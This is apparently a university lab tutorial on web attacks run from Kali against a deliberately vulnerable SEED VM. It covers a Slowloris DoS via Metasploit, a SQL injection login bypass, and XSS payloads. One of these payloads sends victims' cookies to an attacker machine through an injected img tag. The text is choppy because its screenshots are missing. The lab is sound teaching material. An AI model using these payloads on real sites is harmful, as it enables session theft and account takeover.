CYS 7132 - Tutorial - 7
CYS 7132 - Tutorial - 7
The purpose of this tutorial is to provide hands on experience with web application
attacks, which have been on the rise lately. Understanding how web hackers operate is
essential in order to design better defense.
Various web attack vectors will be illustrated. We will use Kali as the attack machine,
and the Seed VM as the target.
The steps to install and configure the SEED VM were provided in Tutorial #1.
The practice will focus on the following attack vectors: Slowloris DOS Web attack, SQL
Injection, Cross-Site Scripting (XSS) in Part1, and Password Cracking in Part 2.
The SEED VM provides some web applications that contain the corresponding
vulnerabilities. The task will consist of running the SEED VM, and launching the attacks
from Kali.
It is assumed that you’ve configured your SEED machine as suggested in the first
tutorial.
1. SEED VM Configuration
The steps to install and configure the SEED VM were provided in Tutorial #1.
The SEED VM provides web applications that contain different vulnerabilities. The task
will consist of running the SEED VM, and launching the attack from Kali. The
configuration steps for the tutorial are as follows:
Add the following lines (in the red box), save and close the file.
2. Web DOS Attacks
There are 2 main categories of web DOS attacks
1. Volumetric attacks, such as HTTP Flood attacks, which overload the target
website by submitting a large number of web requests for a sustained period of
time.
2. Slow and low attacks, such as Slowloris, which bring down the target by opening
and maintaining multiple simultaneous requests, without any further activity.
When the maximum number of concurrent sessions is reached, other legitimate
requesters will be prevented access.
You’ll try the Slowloris attack against one of the websites hosted on the SEED machine.
In the SEED machine, open a terminal, type ifconfig, and find out the IP address
connected to the same network as your Kali machine:
In the example above the IP address is 192.168.219.101 (yours may be different). If you
are not sure about the network, do the same in your Kali machine to find out the
corresponding IP:
Open Metasploit, and search for an exploit for slowloris as shown below:
Type run to execute the exploit as shown above. Wait for a few minutes (4 or 5 or
more):
While the attack is underway try to access again the site; you’ll see that the site is
inaccessible; so the DOS is successful:
Now stop the attack (typing Ctrl +C or exit) and check again; this time, the site should
load properly:
One of the users is Alice. Assume that you don’t know her credentials, but would like sill
to access her account. Try to login with alice/1234
As you’ll notice, access will be denied because the credentials are wrong.
Now, try the following: use anything for password (e.g. 123456) and username: alice’ or
‘a’ = ‘a
After adding the friends, click on Account>Settings (on right top screen):
Click on Edit profile, and add under Brief Description (of Alice’s profile) the following
JavaScript code: <script>alert(‘hacked’)</script>
Save the Profile, by clicking the Save button at the bottom:
By loading the page corresponding to the page, the JavaScript code which was
embedded has been executed. That’s the essence of XSS attack. Now, let’s increase
the sophistication by trying to fetch the cookie from the visitor’s browser. Login again
into Alice account, and add the following code to her profile:
<script>alert(document.cookie);</script>
Click Save.
Logout from the account. Once again, by clicking on Alice’s link, the following pop will
be displayed, which contains the cookie:
Cookies are important because they are used by many sites (e.g. banks) as second
factor authentication. By being able to collect them, hackers just need to know your
password to be able to login into your accounts. In practice, a hacker will not display the
cookie. Instead, he/she will capture the cookie and send it silently to a remote location
that is under their control. We will try to reproduce this scenario by sending the cookie to
the attack machine (i.e. Kali).
Find out the IP address of your Kali machine connected to the SEED VM. Open a
terminal in Kali, and type ifconfig:
In the above example, the IP address is 192.168.219.102.
Login into Alice’s account and add the following JavaScript code to her profile:
<script>document.write(’<img src=http://192.168.219.102:5000?c=’
+ escape(document.cookie) + ’ >’);
</script>
The above JavaScript code sends an HTTP request to the attacker’s machine (Kali) on
port 5000 (you can use a different port; e.g. 9000), with the cookies appended to the
request. The JavaScript code inserts an <img> tag with its src attribute set to the
attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load
the image from the URL in the src field; this results in an HTTP GET request sent to the
attacker’s machine.
Make sure to replace in the code the IP address by your Kali IP.
After saving the profile, you can notice a broken image on Alice profile; this corresponds
to the injected JavaScript code.
The hacker can now collect the cookie and use it to impersonate the victim.
Find out more about XSS attacks by downloading the description of the attack at
https://websitesecuritystore.com/blog/what-is-cross-site-scripting-attack/
https://youtu.be/_P8HCLkDInA
Practice:
1. Read: 3.1 Preparation: Getting Familiar with the "HTTP Header Live" tool
4. Using ZAP
ZAP is a web application a scanner, which allows scanning a website to identify
potential vulnerabilities that can further be exploited for attacks such as XSS, SQL
injection, etc.
ZAP is available in Kali and it is straightforward.
To start ZAP, go to Applications>Web Application Analysis>owasp-zap
For more command options, type nikto -Help for the help.
Summary
This tutorial session introduces web attack methods through two vulnerable web apps
running on the SEED VM. Part 2 will focus on web password cracking using a tool
called Burp suite.
Appendix: Installing Zap in Kali
Since v 2019.4, Zap is no more available by default on Kali.
To install ZAP, in Kali, open a browser and download ZAP:
After completion, you can check the presence of the file in the Downloads directory:
To execute the file, you need to assign it execute permission as follows:
Click Next
Review and accept the license agreement, and click Next:
Click Finish.
To start ZAP, go to Applications (upper left corner) and search for ZAP: